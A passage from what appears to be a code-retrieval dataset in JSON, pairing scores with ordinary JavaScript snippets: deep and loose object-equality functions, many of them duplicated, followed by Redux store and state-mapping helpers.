"text": "function looseEqual(a, b) {\n if (a === b)\n return true;\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i]);\n });\n }\n else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime();\n }\n else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key]);\n });\n }\n else {\n /* istanbul ignore next */\n return false;\n }\n }\n catch (e) {\n /* istanbul ignore next */\n return false;\n }\n }\n else if (!isObjectA && !isObjectB) {\n return String(a) === String(b);\n }\n else {\n return false;\n }\n}", "title": "" }, { "docid": "e2907ba42db211fb277a0dca3f43f536", "score": "0.56194764", "text": "function deepEqual(object1, object2) {\n const keys1 = Object.keys(object1);\n const keys2 = Object.keys(object2);\n\n if (keys1.length !== keys2.length) {\n return false;\n }\n\n for (const key of keys1) {\n const val1 = object1[key];\n const val2 = object2[key];\n const areObjects = isObject(val1) && isObject(val2);\n if (\n areObjects && !deepEqual(val1, val2) ||\n !areObjects && val1 !== val2\n ) {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "b05c7c27f62a39b7b5a828ed28bfab9f", "score": "0.5617368", "text": "static equals(firstValue,secondValue,properties=null,deep=-1,exceptionPrefixes=[],ignoreFunctions=true){if(ignoreFunctions&&Tools.isFunction(firstValue)&&Tools.isFunction(secondValue)||firstValue===secondValue||Tools.numberIsNotANumber(firstValue)&&Tools.numberIsNotANumber(secondValue)||firstValue instanceof RegExp&&secondValue instanceof RegExp&&firstValue.toString()===secondValue.toString()||firstValue instanceof Date&&secondValue instanceof Date&&(isNaN(firstValue.getTime())&&isNaN(secondValue.getTime())||!isNaN(firstValue.getTime())&&!isNaN(secondValue.getTime())&&firstValue.getTime()===secondValue.getTime()))return true;if(Tools.isPlainObject(firstValue)&&Tools.isPlainObject(secondValue)&&!(firstValue instanceof RegExp||secondValue instanceof RegExp)||Array.isArray(firstValue)&&Array.isArray(secondValue)&&firstValue.length===secondValue.length||(Tools.determineType(firstValue)==='map'&&Tools.determineType(secondValue)==='map'||Tools.determineType(firstValue)==='set'&&Tools.determineType(secondValue)==='set')&&firstValue.size===secondValue.size){for(const[first,second]of[[firstValue,secondValue],[secondValue,firstValue]]){const firstIsArray=Array.isArray(first);if(firstIsArray&&(!Array.isArray(second)||first.length!==second.length))return false;const firstIsMap=Tools.determineType(first)==='map';if(firstIsMap&&(Tools.determineType(second)!=='map'||first.size!==second.size))return false;const firstIsSet=Tools.determineType(first)==='set';if(firstIsSet&&(Tools.determineType(second)!=='set'||first.size!==second.size))return false;let equal=true;if(firstIsArray){let index=0;for(const value of first){if(deep!==0&&!Tools.equals(value,second[index],properties,deep-1,exceptionPrefixes))equal=false;index+=1}}else if(firstIsMap)for(const[key,value]of first){if(deep!==0&&!Tools.equals(value,second.get(key),properties,deep-1,exceptionPrefixes))equal=false}else if(firstIsSet){for(const value of first){if(deep!==0){equal=false;for(const secondValue of second)if(Tools.equals(value,secondValue,properties,deep-1,exceptionPrefixes)){equal=true;break}if(!equal)break}}}else for(const key in first)if(first.hasOwnProperty(key)){if(!equal||properties&&!properties.includes(key))break;let doBreak=false;for(const exceptionPrefix of exceptionPrefixes)if(key.toString().startsWith(exceptionPrefix)){doBreak=true;break}if(doBreak)break;if(deep!==0&&!Tools.equals(first[key],second[key],properties,deep-1,exceptionPrefixes))equal=false}if(!equal)return false}return true}return false}", "title": "" }, { "docid": "eda1426ee1f22933ad5e95ed8ded5cc8", "score": "0.56140095", "text": "function shallowCompareKeys(objA, objB, keys) {\n // treat `null` and `undefined` as the same\n if (objA == null && objB == null) {\n return true;\n }\n else if (objA == null || objB == null) {\n return false;\n }\n else if (Array.isArray(objA) || Array.isArray(objB)) {\n return false;\n }\n else if (keys != null) {\n return _shallowCompareKeys(objA, objB, keys);\n }\n else {\n // shallowly compare all keys from both objects\n var keysA = Object.keys(objA);\n var keysB = Object.keys(objB);\n return (_shallowCompareKeys(objA, objB, { include: keysA }) && _shallowCompareKeys(objA, objB, { include: keysB }));\n }\n}", "title": "" }, { "docid": "eda1426ee1f22933ad5e95ed8ded5cc8", "score": "0.56140095", "text": "function shallowCompareKeys(objA, objB, keys) {\n // treat `null` and `undefined` as the same\n if (objA == null && objB == null) {\n return true;\n }\n else if (objA == null || objB == null) {\n return false;\n }\n else if (Array.isArray(objA) || Array.isArray(objB)) {\n return false;\n }\n else if (keys != null) {\n return _shallowCompareKeys(objA, objB, keys);\n }\n else {\n // shallowly compare all keys from both objects\n var keysA = Object.keys(objA);\n var keysB = Object.keys(objB);\n return (_shallowCompareKeys(objA, objB, { include: keysA }) && _shallowCompareKeys(objA, objB, { include: keysB }));\n }\n}", "title": "" }, { "docid": "697c21a77e15783405df6a08f5550436", "score": "0.5604846", "text": "function objectShallowEquals(a, b) {\n var entriesInA = Object.entries(Object(a));\n\n if (entriesInA.length !== Object.keys(b).length) {\n return false;\n }\n\n return entriesInA.every(function (_ref) {\n var _ref2 = _slicedToArray(_ref, 2),\n key = _ref2[0],\n value = _ref2[1];\n\n return b.hasOwnProperty(key) && b[key] === value;\n });\n}", "title": "" }, { "docid": "45877399679f9b96a86963b9addcadb1", "score": "0.5604339", "text": "function isEqual(a, b) {\n if (a === b) {\n return true;\n }\n\n if (generalType(a) != generalType(b)) {\n return false;\n }\n\n if (a == b) {\n return true;\n }\n\n if (typeof a != 'object') {\n return false;\n }\n\n // null != {}\n if (a instanceof Object != b instanceof Object) {\n return false;\n }\n\n if (a instanceof Date || b instanceof Date) {\n if (a instanceof Date != b instanceof Date ||\n a.getTime() != b.getTime()) {\n return false;\n }\n }\n\n var allKeys = [].concat(keys(a), keys(b));\n uniqueArray(allKeys);\n\n for (var i = 0; i < allKeys.length; i++) {\n var prop = allKeys[i];\n if (!isEqual(a[prop], b[prop])) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "67ee0d0cbc501bcd13793ce5e0b83fe1", "score": "0.56034315", "text": "function shallowCompareKeys(objA, objB, keys) {\n\t // treat `null` and `undefined` as the same\n\t if (objA == null && objB == null) {\n\t return true;\n\t }\n\t else if (objA == null || objB == null) {\n\t return false;\n\t }\n\t else if (Array.isArray(objA) || Array.isArray(objB)) {\n\t return false;\n\t }\n\t else if (keys != null) {\n\t return _shallowCompareKeys(objA, objB, keys);\n\t }\n\t else {\n\t // shallowly compare all keys from both objects\n\t var keysA = Object.keys(objA);\n\t var keysB = Object.keys(objB);\n\t return (_shallowCompareKeys(objA, objB, { include: keysA }) && _shallowCompareKeys(objA, objB, { include: keysB }));\n\t }\n\t}", "title": "" }, { "docid": "35c70b6fafdfac826589c3bf0f7b3975", "score": "0.55993295", "text": "function shallowCompareKeys(objA, objB, keys) {\n // treat `null` and `undefined` as the same\n if (objA == null && objB == null) {\n return true;\n } else if (objA == null || objB == null) {\n return false;\n } else if (Array.isArray(objA) || Array.isArray(objB)) {\n return false;\n } else if (keys != null) {\n return _shallowCompareKeys(objA, objB, keys);\n } else {\n // shallowly compare all keys from both objects\n var keysA = Object.keys(objA);\n var keysB = Object.keys(objB);\n return _shallowCompareKeys(objA, objB, {\n include: keysA\n }) && _shallowCompareKeys(objA, objB, {\n include: keysB\n });\n }\n}", "title": "" }, { "docid": "35c70b6fafdfac826589c3bf0f7b3975", "score": "0.55993295", "text": "function shallowCompareKeys(objA, objB, keys) {\n // treat `null` and `undefined` as the same\n if (objA == null && objB == null) {\n return true;\n } else if (objA == null || objB == null) {\n return false;\n } else if (Array.isArray(objA) || Array.isArray(objB)) {\n return false;\n } else if (keys != null) {\n return _shallowCompareKeys(objA, objB, keys);\n } else {\n // shallowly compare all keys from both objects\n var keysA = Object.keys(objA);\n var keysB = Object.keys(objB);\n return _shallowCompareKeys(objA, objB, {\n include: keysA\n }) && _shallowCompareKeys(objA, objB, {\n include: keysB\n });\n }\n}", "title": "" }, { "docid": "7e9de8fd1104fb321cf342016b087c9d", "score": "0.5592258", "text": "function areEqual(address1, address2){\n let isEqual = true;\n for (key in address1){\n console.log(key, address1[key]);\n if (address1[key]!=address2[key]){\n isEqual=false;\n break;\n }\n }\n return isEqual;\n\n // return address1.street===address2.street && address1.city===address2.city && address1.zipCode===address2.zipCode\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" }, { "docid": "86d27b7e8b3a80be028eda26f842db5d", "score": "0.5592113", "text": "function looseEqual (a, b) {\n if (a === b) { return true }\n var isObjectA = isObject(a);\n var isObjectB = isObject(b);\n if (isObjectA && isObjectB) {\n try {\n var isArrayA = Array.isArray(a);\n var isArrayB = Array.isArray(b);\n if (isArrayA && isArrayB) {\n return a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i])\n })\n } else if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime()\n } else if (!isArrayA && !isArrayB) {\n var keysA = Object.keys(a);\n var keysB = Object.keys(b);\n return keysA.length === keysB.length && keysA.every(function (key) {\n return looseEqual(a[key], b[key])\n })\n } else {\n /* istanbul ignore next */\n return false\n }\n } catch (e) {\n /* istanbul ignore next */\n return false\n }\n } else if (!isObjectA && !isObjectB) {\n return String(a) === String(b)\n } else {\n return false\n }\n}", "title": "" } ]
60d775e8817de8767f62b9e8f2b9972c
export default PartnerAccountManagers; Use the entire store
[ { "docid": "ad1d40f3f143ee5a79089fb75b11368e", "score": "0.0", "text": "function getStoreProps(state) {\n return state\n}", "title": "" } ]
[ { "docid": "39d8f3e20f2ca4bd97af9ec007f9f910", "score": "0.5965726", "text": "function getStores() {\n return [MainStore];\n}", "title": "" }, { "docid": "53ef1a1b71e572df8de1a4fe43b127e5", "score": "0.58402586", "text": "static getStores() {\n return [ChatStore];\n }", "title": "" }, { "docid": "81577b2db2926dfacacdfff480cfe8cf", "score": "0.5833579", "text": "get store() {\n return this.client.store;\n }", "title": "" }, { "docid": "d278e50e340dd8e2b53fe6681eee3040", "score": "0.57812285", "text": "function getStore() {\n return _store;\n}", "title": "" }, { "docid": "a36a3b16238f3be47b2c44a1a6b7cf92", "score": "0.5738864", "text": "buildInstance() {\n storeInstance = createStore(\n StoreManager.getRootReducer(),\n compose(...StoreManager.middleWares),\n );\n }", "title": "" }, { "docid": "29dd63c0b6e378d45c67c0c7f21afa1d", "score": "0.5713877", "text": "getChildContext() {\n return {store : this.props.store};\n }", "title": "" }, { "docid": "1b7f60c3bb25e3a5bd537abf9f21cf03", "score": "0.56003517", "text": "function getAccountsFromStore() {\r\n\tlog(\"getting the list of account from the local store\");\r\n\tchrome.extension.sendRequest({action: \"getAccounts\"}, function(response) {\r\n\t\t log(\"getting back the list of accounts\");\r\n\t\t currentAccounts = response;\r\n\t\t updateView(response, true);\r\n\t});\r\n}", "title": "" }, { "docid": "e237e62509b7683b00c121995e8e8e75", "score": "0.55838555", "text": "get store() {\n return super.store;\n }", "title": "" }, { "docid": "ec649863c3b2821bcf0854703a209de2", "score": "0.5568697", "text": "static getStore() {\n return db.store;\n }", "title": "" }, { "docid": "ec649863c3b2821bcf0854703a209de2", "score": "0.5568697", "text": "static getStore() {\n return db.store;\n }", "title": "" }, { "docid": "12dc0bf3f43c46abaa0c8cd7f5bbf230", "score": "0.5505837", "text": "async getStore(store) {\n try {\n // Exit early if someone tries to call this endpoint on a setup with disabled AD\n if (!this._ad) {\n logger.trace(\n \"Attempt to access AD functionality failed – AD is disabled in .env\"\n );\n throw new ActiveDirectoryError(\n \"Can't access AD methods because AD functionality is disabled in .env\"\n );\n }\n\n // Prepare the object that we'll populate when looping GroupsPerUser\n const output = {};\n\n switch (store.toLowerCase()) {\n case \"users\":\n return Object.fromEntries(this._users);\n case \"groups\":\n return Array.from(this._groups);\n case \"groupsperuser\":\n // This is a bit more complicated as our Store contains\n // a Map of Promises, and that isn't easily JSON-able.\n // A couple of steps are necessary to convert its values\n // to a casual object that contains resolved Promises's values.\n\n // Loop through each entry in the Map, note the async callback\n this._groupsPerUser.forEach(async (v, k) => {\n // Add a new entry to the output object, the key should\n // be same as the Map's key, while value should be the resolved Promise\n output[k] = await Promise.resolve(v);\n });\n\n return output;\n\n default:\n return null;\n }\n } catch (error) {\n return { error };\n }\n }", "title": "" }, { "docid": "d8abd50185b2917d4dc41477b0715255", "score": "0.5502779", "text": "getAll() {\n return Store.clone(this[__store]);\n }", "title": "" }, { "docid": "4f0b584a2bd4cc411d7b0afa430a11ed", "score": "0.54962975", "text": "getStore() {\n return this.store;\n }", "title": "" }, { "docid": "81c37c1f15177e4a964fc23dec9d732f", "score": "0.548896", "text": "get store() {\n throw new Error('Implement in subclass');\n }", "title": "" }, { "docid": "6bb77de2f14533a9ce16721e3f9f227f", "score": "0.548838", "text": "function useStore() {\n const { store } = useContext(ShopifyContext)\n return store\n}", "title": "" }, { "docid": "1b0e31623d8538b4d4dcb5d38911c8da", "score": "0.5457308", "text": "function convertStoreToProps(store){\n console.log('Received complete store....in FriendList container');\n console.log(store);\n //Identify the data from store which FriendList container can consume.\n //FriendList will consume extracted data as props!!!!\n return {\n friends: store.allfriends\n }\n}", "title": "" }, { "docid": "aae57658c178ffd57aa551ca1600124e", "score": "0.5448078", "text": "static mapStateToProps(store) {\n return {\n boardState: store.boardState,\n walletState: store.walletState\n }\n }", "title": "" }, { "docid": "aae57658c178ffd57aa551ca1600124e", "score": "0.5448078", "text": "static mapStateToProps(store) {\n return {\n boardState: store.boardState,\n walletState: store.walletState\n }\n }", "title": "" }, { "docid": "e7e70ada79d179f4b00d5e94c0348171", "score": "0.5431639", "text": "get store() {\n return this.client.taskStore;\n }", "title": "" }, { "docid": "fa7c452351eae5964741edba093a7f8f", "score": "0.54229313", "text": "function _storeList(){\r\n\t\t\treturn storeList;\r\n\t\t}", "title": "" }, { "docid": "10d147a15c5e4089a0b1653882fda9b1", "score": "0.54092526", "text": "function storeConfig() {\n // cria o estado a partir dos reducers\n return createStore(reducers)\n}", "title": "" }, { "docid": "2b018499af55071a3cc5be939cc135f7", "score": "0.5390849", "text": "ListCurrentCustomerPartners() {\n let url = `/store/partner`;\n return this.client.request('GET', url);\n }", "title": "" }, { "docid": "e7c5c0072998e89f205563524d08b93b", "score": "0.5371723", "text": "getStore() {\n return new Vuex.Store(this.store);\n }", "title": "" }, { "docid": "e41f5583897180ca14c12fc16d97311a", "score": "0.5365436", "text": "function mapStateToProps(store) {\n return {\n intl: store.intl,\n user: store.users.user\n };\n}", "title": "" }, { "docid": "f69900c9ed2ef6b34d0204bb13e27c58", "score": "0.5361647", "text": "constructor() {\n this.store = {};\n }", "title": "" }, { "docid": "241255308bbf443a687e0aa197b463ea", "score": "0.5340111", "text": "static get RESTAURANT_OBJECT_STORE() {\r\n return 'restaurants';\r\n }", "title": "" }, { "docid": "44fff8ad55a0cdc81ec1d9210df98d6b", "score": "0.5317892", "text": "function accounts() {\n return ACCOUNTS;\n}", "title": "" }, { "docid": "d2c3f65d4cb0607db220e8b9a15233ec", "score": "0.5292183", "text": "function getState() {\n return {\n data: LoginStore.getData()\n };\n}", "title": "" }, { "docid": "ce8f86a285d6d1d77aac5340fff190b6", "score": "0.5285945", "text": "_useStoreSelector(props) {\n return Object.assign(this._super(...arguments), {\n multiLivechatGroups: this.getMultiLivechatGroups(),\n });\n }", "title": "" }, { "docid": "20e50081102e14b2201af0519627d026", "score": "0.5260865", "text": "_getStoreList (context) {\n let url = '/api/store/get-all'\n return new Promise((resolve, reject) => {\n axios.get(url, {\n headers: {Authorization: sessionStorage.getItem('token')}\n }).then(res => {\n context.commit('_setStoreList', res.data)\n resolve(res)\n }).catch(e => reject(e))\n })\n }", "title": "" }, { "docid": "0ed03ea466c42476046d4b0214fa3aab", "score": "0.52586687", "text": "get storeMap () {\n return this._storeMap\n }", "title": "" }, { "docid": "982760452eb8b2d01c284c8cf35e69ba", "score": "0.52541524", "text": "function mapStateToProps(storeState) {\n return { myArticles: storeState.wishList, \n token: storeState.userToken }\n}", "title": "" }, { "docid": "45e96dc1807a2e199121feb664ce2b46", "score": "0.5217405", "text": "static getPropsFromStores() {\n return ChatStore.getState();\n }", "title": "" }, { "docid": "5ffa3ae5e0ae0906a4d5e71d28c9face", "score": "0.52092636", "text": "getStores() {\n Service.get(this).getStores(state.get(this).params.companyId);\n }", "title": "" }, { "docid": "b8c1ffa0593a0279bf3c2c63addfbbea", "score": "0.5205254", "text": "static getPropsFromStores() {\n return ChatStore.getState();\n }", "title": "" }, { "docid": "4fc18b336330bbaa8fd2be29b29ddf61", "score": "0.5198075", "text": "function mapStateToProps(storeState) {\n return { myArticles: storeState.wishList,\n token: storeState.userToken,\n language: storeState.lang }\n}", "title": "" }, { "docid": "b89a251f326af4f1ecbdb9025ec3d09a", "score": "0.5188022", "text": "getChildContext() {\n return Object.assign({\n store: this.props.store,\n }, this.props.context);\n }", "title": "" }, { "docid": "d7c9a47e9f722cdc29dcd0e3a832327d", "score": "0.5183909", "text": "function getManagers(){\r\n\r\n var database = $cookieStore.get('dashboardGcRc') ? $cookieStore.get('dashboardGcRc').database : 'gc'; \r\n return self.data.managers[database];\r\n }", "title": "" }, { "docid": "bf59a929117eb43e69ca14c48c50ee41", "score": "0.5180533", "text": "constructor(rootStore) {\n this.rootStore = rootStore\n }", "title": "" }, { "docid": "8b11f26c4c69ae2a16355c06fc310f47", "score": "0.5179928", "text": "initAccounts() {\n const { wallet } = this.props\n // Clear the web3 wallet to make sure we only have the accounts loaded\n // from the data store\n this.web3.eth.accounts.wallet.clear()\n // Load the accounts from the saved redux state into web3\n for (let i = 0; i < wallet.accounts.length; i++) {\n this.web3.eth.accounts.wallet.add(wallet.accounts[i])\n }\n const { length } = wallet.accounts\n console.debug(`Loaded Origin Wallet with ${length} accounts`)\n // Verify there is a valid active account, and if not set one\n let hasValidActiveAccount = false\n if (wallet.activeAccount) {\n hasValidActiveAccount = wallet.accounts.find(\n a => a.address === wallet.activeAccount.address\n )\n }\n\n // Setup the active account\n if (length) {\n const activeAccount = hasValidActiveAccount\n ? wallet.activeAccount\n : wallet.accounts[0]\n this.setAccountActive(activeAccount)\n }\n }", "title": "" }, { "docid": "85a12f13278ec3b2739dedfceed27cc6", "score": "0.51635146", "text": "initAccounts() {\n const { wallet, settings } = this.props\n // Clear the web3 wallet to make sure we only have the accounts loaded\n // from the data store\n this.web3.eth.accounts.wallet.clear()\n // Load the accounts from the saved redux state into web3\n for (let i = 0; i < wallet.accounts.length; i++) {\n this.web3.eth.accounts.wallet.add(wallet.accounts[i])\n }\n const { length } = wallet.accounts\n console.debug(`Loaded Origin Wallet with ${length} accounts`)\n // Verify there is a valid active account, and if not set one\n let hasValidActiveAccount = false\n if (wallet.activeAccount) {\n hasValidActiveAccount = wallet.accounts.find(\n a => a.address === wallet.activeAccount.address\n )\n }\n\n // Setup the active account\n if (length) {\n const activeAccount = hasValidActiveAccount\n ? wallet.activeAccount\n : wallet.accounts[0]\n this.setAccountActive(activeAccount)\n }\n }", "title": "" }, { "docid": "d720ee7e3a71e5bce0e9467ec4b57641", "score": "0.51630044", "text": "get _getStore() {\n\t\treturn this.#store;\n\t}", "title": "" }, { "docid": "457f0e574a86274bfcc96c5bbe7a85bb", "score": "0.5157735", "text": "function mapStoreToProps(store) {\n return {\n description: store.expense.description,\n amount: store.expense.amount,\n lineItems: store.expense.lineItems\n };\n}", "title": "" }, { "docid": "6753dc169e711818e45bf75caaab4a02", "score": "0.514901", "text": "static get LOCAL_REVIEWS_OBJECT_STORE() {\r\n return 'local';\r\n }", "title": "" }, { "docid": "604829e2817f63b25ecc628b3cc95fe8", "score": "0.5130499", "text": "function Store(){}", "title": "" }, { "docid": "604829e2817f63b25ecc628b3cc95fe8", "score": "0.5130499", "text": "function Store(){}", "title": "" }, { "docid": "604829e2817f63b25ecc628b3cc95fe8", "score": "0.5130499", "text": "function Store(){}", "title": "" }, { "docid": "604829e2817f63b25ecc628b3cc95fe8", "score": "0.5130499", "text": "function Store(){}", "title": "" }, { "docid": "604829e2817f63b25ecc628b3cc95fe8", "score": "0.5130499", "text": "function Store(){}", "title": "" }, { "docid": "554d713988933d77b05e2e63fad53c53", "score": "0.5120842", "text": "manager() {\n // promp user for manager's information\n inquirer.prompt(this.managerPrompt).then(data => {\n // add manager information to employees array and call others function\n this.employees.push(new Manager(data.name, data.id, data.email, data.officeNumber));\n return this.others();\n });\n }", "title": "" }, { "docid": "f91e39eb3cbfde478db74b8493f45af3", "score": "0.5118526", "text": "get appMeshRepositoryAccount() {\n return fact_1.Fact.find(this.name, fact_1.FactName.APPMESH_ECR_ACCOUNT);\n }", "title": "" }, { "docid": "f91e39eb3cbfde478db74b8493f45af3", "score": "0.5118526", "text": "get appMeshRepositoryAccount() {\n return fact_1.Fact.find(this.name, fact_1.FactName.APPMESH_ECR_ACCOUNT);\n }", "title": "" }, { "docid": "d035c61c22e25b69af87590799f68c0f", "score": "0.51158166", "text": "function StoreSvc() {\n const store = this;\n store.edit = {};\n\n store.selectProductToEdit = (result) => {\n console.log(result);\n return store.edit = result;\n };\n\n }", "title": "" }, { "docid": "82da78680e0ed8fb3a850f8a7b4ef0bc", "score": "0.5102708", "text": "state(request,response,next,app,currentUser,customGroupRepository,components)\n {\n let json = {\n user: currentUser,\n objects:[],\n groups: [],\n components:components.each(object => {\n return object.toJSON()\n })\n };\n app.models.each(model =>\n {\n // Only deliver objects the user can view.\n if (currentUser.can([model.name,'read'])) {\n json.objects.push(model.toJSON());\n }\n });\n\n // Get the custom model groups.\n return customGroupRepository.then(customGroups => {\n json.groups = customGroups;\n return json;\n });\n }", "title": "" }, { "docid": "9411a0230635171380ebd87b04442ce0", "score": "0.50866246", "text": "function initStore () {\n var metaverseConfigItems = {\n // Metaverse Config\n server: localStorage.getItem('metaverseConfig.server') // string\n }\n\n console.info('Initing metaverseConfig.server', metaverseConfigItems.server);\n\n if (metaverseConfigItems.server !== null) {\n console.info('metaverseConfigItems.server !== null');\n store.commit('mutate', {\n update: true,\n property: 'metaverseConfig',\n with: {\n server: metaverseConfigItems.server\n }\n });\n }\n\n var accountItems = {\n // Account / General Stuff\n isLoggedIn: parseFromStorage('isLoggedIn'), // bool\n isAdmin: parseFromStorage('isAdmin'), // bool\n useAsAdmin: parseFromStorage('useAsAdmin'), // bool\n username: localStorage.getItem('username'), // string\n accountId: localStorage.getItem('accountId'), // string\n 